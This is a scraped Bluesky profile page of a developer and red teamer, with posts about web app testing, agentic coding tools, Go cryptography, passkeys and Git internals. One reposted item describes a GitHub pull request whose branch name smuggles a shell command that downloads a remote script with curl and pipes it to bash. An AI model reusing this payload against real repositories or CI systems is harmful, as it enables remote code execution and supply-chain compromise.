Robin Verton
LightNews LightNews
robinverton.de
Robin Verton
@robinverton.de
19 followers 110 following 9 posts
developer, red teamer, founder
go, elixir, typescript

https://robinverton.de
Posts Replies Media Videos
robinverton.de
When developing web apps this way, how do you handle playwright and sessions? Do you add context on how to login, or do you provide some kind of dev routes which will handle auth? I also thought of providing a cookie so I can prepare the session with some data.
June 29, 2025 at 2:50 PM
robinverton.de
Tried Amp for the first time today on a sideproject and I'm impressed! I really like the workflow and how it just gets the job done. Currently using the CLI because I'm still married to nvim.
thorstenball.com Thorsten Ball @thorstenball.com · May 15
Wrote down how Amp — the agentic coding tool we've been working on for the last months — has changed programming for me.

Read it here: ampcode.com/how-i-use-amp

Yes, I barely type code by hand anymore.
Screenshot of article's first page that explains this: "For the past 10 weeks, Amp has been the main tool with which I develop software and — putting yet another exclamation mark behind the fact that the tools we use end up changing us — it has fundamentally changed how I develop software. So I thought I’d use the occasion to write up how I personally use Amp."
June 1, 2025 at 11:45 AM
Reposted by Robin Verton
filippo.abyssdomain.expert
Three Trail of Bits engineers audited core Go cryptography for a month and found only one low-sev security issue... in unsupported Go+BoringCrypto! 🍾

Years of efforts on testing, limiting complexity, safe APIs, and readability have paid off! ✨

Yes I am taking a victory lap. No I am not sorry. 🏆
Go Cryptography Security Audit
Go's cryptography libraries underwent an audit by Trail of Bits. Read more about the scope and results.
go.dev
May 19, 2025 at 7:08 PM
Reposted by Robin Verton
filippo.abyssdomain.expert
I am convinced 99% of websites should use magic links + passkeys.

It bypasses all (debatable) portability objections to passkeys, it’s at least as secure as email-based recovery, as fast as a password manager, it’s available to all users… and importantly, no passwords!
rmondello.com Ricky Mondello @rmondello.com · Jan 2
I wrote about how magic links (emailed one-time login links) frustrate me while explaining that they radically accept some fundamental truths. I argue that websites should layer passkeys on top of magic links to provide a seamless authentication experience for everyone. rmondello.com/2025/01/02/m...
Ricky Mondello » Magic Links Have Rough Edges, but Passkeys Can Smooth Them Over
rmondello.com
January 2, 2025 at 3:26 PM
robinverton.de
The new 'drawing squares during a meeting', beautiful little app: minimator.app
minimator
minimalist graphical editor in your browser and on the go
minimator.app
December 18, 2024 at 7:48 AM
robinverton.de
Are you using aerospace for the tiling functionality?
December 14, 2024 at 1:11 PM
Reposted by Robin Verton
mattkeeter.com
absolutely incredible attack vector
Picture of a Github PR with text reading openimbot wants to merge 0 commits into ultralytics:main from openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)
December 6, 2024 at 3:27 AM
robinverton.de
Ah, you are referring to the latency between pressing a key and the character appearing on screen?
November 19, 2024 at 8:17 AM
robinverton.de
November 19, 2024 at 8:07 AM
robinverton.de
I have the same feeling for Messages.app since I have updated. It is a lot slower than in other apps.
November 19, 2024 at 6:16 AM
robinverton.de
Are you using SSR here for SEO or performance reasons? Curious if you are doing it for performance reasons. My current inertia-phoenix project has a 100 lighthouse score without using any SSR.
November 18, 2024 at 8:07 PM
robinverton.de
I really enjoyed this article, showing how to write a token bucket rate limiter for a single-node, and then extending it to make it distributed

blog.appsignal.com/2024/10/29/m...
Managing Distributed State with GenServers in Phoenix and Elixir | AppSignal Blog
This two-part series explores working with Phoenix in a distributed setup. In part one, we'll look at GenServers.
blog.appsignal.com
November 2, 2024 at 5:26 PM
Reposted by Robin Verton
b0rk.jvns.ca
intro post: I post a lot of explanations of computer things, here's an example!

this one's an intro to Git's internals
HEAD HEAD is a tiny file that just contains the name of your current branch .git/HEAD ref: refs/heads/main HEAD can also be a commit ID, that’s called “detached HEAD state” branches a branch is stored as a tiny file that just contains 1 commit ID. It’s stored in a folder called refs/heads. 7622629 - (actually 40 characters) tags are in refs/tags, the stash is in refs/stash commit a commit is a small file containing its parent(s), message, tree, and author .git/objects/7622629 tree c4e6559 parent 037ab87 author Julia <x@y.com> 1697682215 committer Julia <x@y.com> 1697682215 commit message goes here these are compressed, the best way to see objects is with git cat-file -p HASH trees trees are small files with directory listings. The files in it are called “blobs” .git/objects/c4e6559 100644 blob e351d93 404.html 100644 blob cab4165 hello.py 040000 tree 9de29f7 lib the permissions here LOOK like unix permissions, but they’re actually super restricted, only 644 and 755 are allowed blobs blobs are the files that contain your actual code .git/objects/cab4165 print("hello world!!!!") reflog the reflog stores the history of every branch, tag, and HEAD .git/logs/refs/heads/main 2028ee0 c1f9a4c Julia Evans <x@y.com> 1683751582 commit: no ligatures in code each line of the reflog has: - before/after commit IDs - user + - timestamp - log message remote-tracking branches remote-tracking branches store the most recently seen commit ID for a remote branch .git/refs/remotes/origin/main a9bbcae when git status says “you’re up to date with origin/main”, it’s just looking at this .git/config .git/config is a config file for the repository. it’s where you configure your remotes .git/config [remote "origin"] url = git@github.com: jvns/int-exposed fetch = +refs/heads/*: refs/remotes/origin/* [branch "main"] remote = origin merge refs/heads/main
October 21, 2024 at 1:03 PM